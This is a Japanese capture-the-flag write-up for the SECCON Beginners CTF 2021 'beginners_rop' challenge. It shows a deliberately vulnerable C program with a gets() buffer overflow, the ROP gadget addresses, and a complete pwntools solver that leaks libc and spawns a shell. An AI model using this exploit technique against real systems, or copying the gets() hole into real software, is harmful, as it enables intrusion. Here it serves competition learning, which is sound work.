SECCON Beginners CTF 2021 pwn 02 beginners_rop Writeup


SECCON Beginners CTF 2021 pwn 02 beginners_rop Writeup
ネットワーク越しに初めてpwnを解いたので,フラグが表示された時,天国に逝きそうになった。
まだ50代なのであと20年は生きたい。
この1か月間,Linuxバッファオーバーフローの勉強をしてきた成果が出てうれしい。
この得点がなければ,初めてうちの会社の若い衆に負けていたかもしれない。

入手データ

src.c
chall
libc-2.27.so
Makefile
src.c
#include <stdio.h>
#include <unistd.h>

char *gets(char *s);

int main() {
    char str[0x100];
    gets(str);
    puts(str);
}

__attribute__((constructor))
void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    alarm(60);
}

短い。
gets に bof があり,
puts で libc leak が出来る。

作戦

puts で libc leak をして system("/bin/sh") でしとめる。

bofの確認

char str[0x100];なので "A" * 0x100 + 8 と予測できる

念のため,gdbで確認
gdbでmain関数のリターンアドレスを調べる
getsの後ろにブレークポイントを設定して AAA を入力する

”A” * 8 * 33 = "A" * 0x100 + 8

ROP部品集め

$ objdump -d -M intel ./chall | less
/ 5f
  401282:       41 5f                   pop    r15
  401284:       c3    
pop rdi ; ret ;
0x401283
ret ;
0x401284

攻撃コード

solver.py
# coding: UTF-8

from pwn import *
import pwn

io = remote("beginners-rop.quals.beginners.seccon.jp", 4102)
#io = pwn.process("./chall")

file = "./chall"
libc = "./libc-2.27.so"

chall = ELF(file)
libc = ELF(libc)

# ROPの部品(objdump で調べる)
pop_rdi = 0x401283
ret = 0x401284

# 動的に配置されたputsのアドレスをputsでリークさせる
# leak後,もう一度bofを起こして攻撃するので最後にmainに飛ばす
payload = b""
payload += b"A" * 8 * 33
payload += p64(pop_rdi)
payload += p64(chall.got["puts"])
payload += p64(chall.plt["puts"])
payload += p64(chall.sym["main"])

io.sendline(payload)

# リークさせたputsのアドレスからlibcのベースアドレスを特定
io.recvline()
libc_leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))
libc.address = libc_leak - libc.sym["puts"]

# system("/bin/sh")でshellをとる
payload = b""
payload += b"A" * 8 * 33
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(libc.sym["system"])

io.sendline(payload)
io.interactive()


ls を打って flag.txt が見えた瞬間,一瞬,心肺が停止しました。